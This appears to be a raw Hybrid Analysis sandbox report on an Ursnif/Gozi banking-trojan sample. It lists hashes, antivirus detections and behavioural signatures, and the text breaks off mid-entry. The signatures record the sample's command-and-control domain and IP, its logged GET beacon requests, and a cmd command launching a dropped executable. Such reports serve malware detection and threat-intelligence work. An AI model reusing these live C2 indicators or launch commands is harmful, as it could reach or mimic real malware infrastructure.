24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 2b:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T485,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample cbf492d96038… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample cbf492d96038…. Malware family: Trojan.Generic. Threat score 100/100. 14/28 AV engines flagged this file. 11 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8"],"about":{"@type":"SoftwareApplication","name":"niga.exe","applicationCategory":["peexe","executable"],"identifier":"cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":14,"total":28},"behavioralIndicators":{"malicious":11,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T546,"" touched file "C:\Windows\system32\OLEACCRC.DLL" "" touched file "C:\Windows\system32\en-US\SETUPAPI.dll.mui" "" touched file "C:\Windows\Globalization\Sorting\sortdefault.nls" "" touched file "C:\Windows\system32\c_1252.nls" "" touched file "C:\Users\Fas2Wj2\AppData\Local\Microsoft\Windows\Caches" "" touched file "C:\Users\Fas2Wj2\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "" touched file "C:\Users\Fas2Wj2\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "" touched file "C:\Windows\system32\en-US\PROPSYS.dll.mui" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "adprtext.exe" touched file "C:\Windows\system32\OLEACCRC.DLL" "adprtext.exe" touched file "C:\Windows\system32\en-US\SETUPAPI.dll.mui" "adprtext.exe" touched file "C:\Windows\Globalization\Sorting\sortdefault.nls" "adprtext.exe" touched file "C:\Windows\system32\c_1252.nls" "adprtext.exe" touched file "C:\Windows\SYSTEM32\ntdll.dll"26:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAd4iIiIiIh3d3d3d3cAAAAAAHB3AAAIiIh3d3d3AAAAB3dwAAAAAAAAAAAAdwAAAAcHcAAAAAAAAAAAAHcAAAAHB3AAB3d3d3AAAAB3AAAABwdwAHd3cAB3cAdwhwAAAAcHcAdwd3AAAHdwd4cAAAAHB3B3AAd3AAAHd3eHAAAABwdwcAAAd3AAd3d3hwAAAAcHd3AAAHd3AAd3d4cAAAAHB4d3cAAHdwAHd3eHAAAABweHd3dwB3dwAHd3hwAAAAcHh3d3d3AHdwB3d4cAAAAHB4d3d3dwB3dwB3eHAAAABweHd3d3dwB3cAd3hwAAAAcHh3d3d3d3d3cAd4cAAAAHB4d3d3d3dwd3cHeHAAAABweId3d3d3d3d3cHhwAAAAcHiId3d3d3d3d3AIcAAAAHB4iId3d3d3d3d3CHAAAABweIiId3d3d3d3d3dwAAAAcHj4iId3d3d3d3d3cAAAAHB4+IiHd3d3d3d3eHAAAAAACP//iIiId3d3d3hwAAAAd3j4iIj/////iIiIcAAAcHd4iP+Ih3d3d3d3d3AAAAAAAAB3eIiId3d3d3dwAAAAAAAAAAB3d3d3d3d3cAAAAAAAAAAAAAB3d3d3d3AAAAAAAAAAAAAAAAAAd3dwAAAAAAAAAAAAAAAAAAAAAAD/////4AAAB8AfAAfAAP/nwAAD58AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAf8AAAH//AAB///wAf///8H/////w==27:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==28:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==29:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAd4iIiIiIh3d3d3d3cAAAAAAHB3AAAIiIh3d3d3AAAAB3dwAAAAAAAAAAAAdwAAAAcHcAAAAAAAAAAAAHcAAAAHB3AAB3d3d3AAAAB3AAAABwdwAHd3cAB3cAdwhwAAAAcHcAdwd3AAAHdwd4cAAAAHB3B3AAd3AAAHd3eHAAAABwdwcAAAd3AAd3d3hwAAAAcHd3AAAHd3AAd3d4cAAAAHB4d3cAAHdwAHd3eHAAAABweHd3dwB3dwAHd3hwAAAAcHh3d3d3AHdwB3d4cAAAAHB4d3d3dwB3dwB3eHAAAABweHd3d3dwB3cAd3hwAAAAcHh3d3d3d3d3cAd4cAAAAHB4d3d3d3dwd3cHeHAAAABweId3d3d3d3d3cHhwAAAAcHiId3d3d3d3d3AIcAAAAHB4iId3d3d3d3d3CHAAAABweIiId3d3d3d3d3dwAAAAcHj4iId3d3d3d3d3cAAAAHB4+IiHd3d3d3d3eHAAAAAACP//iIiId3d3d3hwAAAAd3j4iIj/////iIiIcAAAcHd4iP+Ih3d3d3d3d3AAAAAAAAB3eIiId3d3d3dwAAAAAAAAAAB3d3d3d3d3cAAAAAAAAAAAAAB3d3d3d3AAAAAAAAAAAAAAAAAAd3dwAAAAAAAAAAAAAAAAAAAAAAD/////4AAAB8AfAAfAAP/nwAAD58AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAf8AAAH//AAB///wAf///8H/////w==2a:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAABmZmZgAAAAAAZmZmYAAAAGeIiIZgAAAAAGiIiGYAB3d3iIiHd3d3d3dod3hnd3iPiIiIh4iIiIiIaIiIa7t4+IiIiIeIiIiIu2iIiGu7ePiIiIiHiIiIiIhoiIh7u3j4iIiIiId3d3d2eIiIiLt4+IiIiIiIiIiIiIiIj4i7ePiIiP/4iIiIiIiIiI+Iu3j4+P//+IiIiIiIiIiPiLh4+Pj////////4iIiIj4i4eP/4///4iIiIiIiIj/iIiHj//4iI+IiIh3d3d3d4iIh4/////4+IiIiIiIiIiIiIeP////iI+IiIiIiIiIiIiHj/////iI+IiIiIiIiIiIh4//////iIiIiIiIiIiIiIeP//////+IiIiIiIiIiIiHj///////+IiIiIiIiIiIh4/////////4j///////iIeP//////////+IiIiHd3eHiP/////////4iIiIiIiIh4iIiIiIiIiIiIjub///iIeIiIiIiIiIiIiI7u///4iHiIiIiIiImZ//iIh3d3d3dwiIiIiIiJmf///4iIiIiHAIiKov/4iIiIiId3d3d3dwCIiqr///+Ih3AAAAAAAAAACIiIiIiIiHcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwH/gP4A/4BwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAYAAAAGAAD//wAB//////////////////w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790533385877,"unified_at":"2026-09-27T18:23:05.877Z","metadata":{"hashes":{"sha256":"cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8","sha1":"eb65cfb0670e157055c0f16eb6d4cb92f2ae76e8","md5":"075c08449f0b5ed8452b675d44cacfe5","sha512":"0201f5ee4a2226b946c47705b2cac268fc8a52beb23d976581bb681184bb80d80ac6568f8b7ae51afbdb80d11d81e465926d2def55a4016d44cbb7c03da7958f","ssdeep":"12288:7bdqH2CcVQDFcWkvXWtlB1ddELBkJLH/FTyr46eAC61yVDPtm9:7bgY+2VGvB/L6eAC6SDFm","ssdeep_chunks":["12288:7bdqH2C","12288:bdqH2Cc","12288:dqH2CcV","12288:qH2CcVQ","12288:H2CcVQD","12288:2CcVQDF","12288:CcVQDFc","12288:cVQDFcW","12288:VQDFcWk","12288:QDFcWkv","12288:DFcWkvX","12288:FcWkvXW","12288:cWkvXWt","12288:WkvXWtl","12288:kvXWtlB","12288:vXWtlB1","12288:XWtlB1d","12288:WtlB1dd","12288:tlB1ddE","12288:lB1ddEL","12288:B1ddELB","12288:1ddELBk","12288:ddELBkJ","12288:dELBkJL","12288:ELBkJLH","12288:LBkJLH/","12288:BkJLH/F","12288:kJLH/FT","12288:JLH/FTy","12288:LH/FTyr","12288:H/FTyr4","12288:/FTyr46","12288:FTyr46e","12288:Tyr46eA","12288:yr46eAC","12288:r46eAC6","12288:46eAC61","12288:6eAC61y","12288:eAC61yV","12288:AC61yVD","12288:C61yVDP","12288:61yVDPt","12288:1yVDPtm","12288:yVDPtm9","24576:7bdqH2C","24576:bdqH2Cc","24576:dqH2CcV","24576:qH2CcVQ","24576:H2CcVQD","24576:2CcVQDF","24576:CcVQDFc","24576:cVQDFcW","24576:VQDFcWk","24576:QDFcWkv","24576:DFcWkvX","24576:FcWkvXW","24576:cWkvXWt","24576:WkvXWtl","24576:kvXWtlB","24576:vXWtlB1","24576:XWtlB1d","24576:WtlB1dd","24576:tlB1ddE","24576:lB1ddEL","24576:B1ddELB","24576:1ddELBk","24576:ddELBkJ","24576:dELBkJL","24576:ELBkJLH","24576:LBkJLH/","24576:BkJLH/F","24576:kJLH/FT","24576:JLH/FTy","24576:LH/FTyr","24576:H/FTyr4","24576:/FTyr46","24576:FTyr46e","24576:Tyr46eA","24576:yr46eAC","24576:r46eAC6","24576:46eAC61","24576:6eAC61y","24576:eAC61yV","24576:AC61yVD","24576:C61yVDP","24576:61yVDPt","24576:1yVDPtm","24576:yVDPtm9","12288:7bgY+2V","12288:bgY+2VG","12288:gY+2VGv","12288:Y+2VGvB","12288:+2VGvB/","12288:2VGvB/L","12288:VGvB/L6","12288:GvB/L6e","12288:vB/L6eA","12288:B/L6eAC","12288:/L6eAC6","12288:L6eAC6S","12288:6eAC6SD","12288:eAC6SDF","12288:AC6SDFm"],"imphash":"141d419e2bd1aa4a97154664f47ce2c8"},"file_info":{"file_name":"niga.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":867328,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1506082717000,"last_seen":1676522621000,"last_multi_scan":1676522621000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["dreambot","gozi","isfb","papras","ursnif"]},"stats":{"av":{"malicious_count":14,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":19,"suspicious_count":15,"malicious_count":11,"total":45},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Spyware/Win32.Ursnif","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Spy]/Win32.Ursnif","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/AD.UrsnifDropper.vgfva","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.CNFE","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_90% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.CNFE (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.GDKG trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 0051797f1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"Trojan-Spy.Win32.Ursnif.typ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"GenericRXCU-KD!075C08449F0B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Ursnif.eswene","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Trojan.Wacatac","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Ursnif.Win32.1471","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 62766-6631-00489EAB","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExA@KERNEL32.dll at 62766-2014-0047AD33","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersionExA@KERNEL32.dll (Target: \"cbf492d96038ffa09999a9efbcf1677392cbbdddf2c2bb038c579aeddb0fc5d8.exe.bin\"; Stream UID: \"62766-2014-0047AD33\")\n which is directly followed by \"cmp dword ptr [ebp-00000088h], 02h\" and \"xor ecx, ebp\". See related instructions: \"...\n+33 call 004821D0h\n+38 add esp, 0Ch\n+41 lea eax, dword ptr [ebp-00000098h]\n+47 push eax\n+48 mov dword ptr [ebp-00000098h], 00000094h\n+58 call dword ptr [0049A14Ch] ;GetVersionExA\n+64 mov ecx, dword ptr [ebp-04h]\n+67 xor eax, eax\n+69 cmp dword ptr [ebp-00000088h], 02h\n+76 sete al\n+79 xor ecx, ebp\" ... at 62766-2014-0047AD33","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\7FA1.BAT\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\7FA1.BAT\")","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"odkmtbuecjbhe.net\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"77.121.72.114:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"c:\\Family\\right\\Cost\\were\\laugh\\nearlay.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"\" created file \"%TEMP%\\DC42\\7FA1.bat\"\n \"explorer.exe\" created file \"%TEMP%\\39F7.bin\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZoneAttributeCacheCounterMutex\"\n \"Local\\ZonesCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"649B.bin\" as clean (type is \"Zip archive data (empty)\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /images/QK9tqx9WFo3M9rZPvGA1JE/zuTve_2FoHwl6/mSJuD3sI/fknyX45XgaNFVCHpZUngPLx/c7wj7eg0wO/6NJPPB5K_2BKWXzka/Xzgq1FSP7Lts/gtToSSWaIiw/g_2BX2AutetjAT/pYIQL9L6GWoyrdWVM78ru/6yrMq.gif HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)\nHost: odkmtbuecjbhe.net\nConnection: Keep-Alive\nCache-Control: no-cache\"\n \"GET /images/14T2rMix04cBsGUeUxYZ/UVd_2B6wo1Iea1IlhaT/ZmBVNl03MSDkmAppGAk2eN/KiPcABBbbyzWz/t6npgDV_/2BeUXUMtBAm54LqjLSndQyk/bS3Uz82okv/zbO_2BInNvGjJaLsn/J6D06E82VOVY/vVwGpu6POsw/f.gif HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)\nHost: odkmtbuecjbhe.net\nConnection: Keep-Alive\nCache-Control: no-cache\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"explorer.exe\" (UID: 00016875-00001396) was launched with new environment variables: \"SESSIONNAME=\"Console\"\"\n Process \"explorer.exe\" (UID: 00016875-00001396) was launched with missing environment variables: \"PROMPT\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"\"cmd /c \"\"%APPDATA%\\cmdisvc6\\adprtext.exe\" \"C:\\CBF492~1.EXE\"\"\"\" on 2017-9-22.13:09:09.012\n \"\"cmd /C \"\"%APPDATA%\\cmdisvc6\\adprtext.exe\" \"C:\\CBF492~1.EXE\"\"\"\" on 2017-9-22.13:09:09.062","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"\" searching for class \"ProgMan\"\n \"adprtext.exe\" searching for class \"ProgMan\"\n \"explorer.exe\" searching for class \"Shell_TrayWnd\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"59c4fd577ca3e14be367fd58"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"cmd.exe\" with commandline \"\"cmd /c 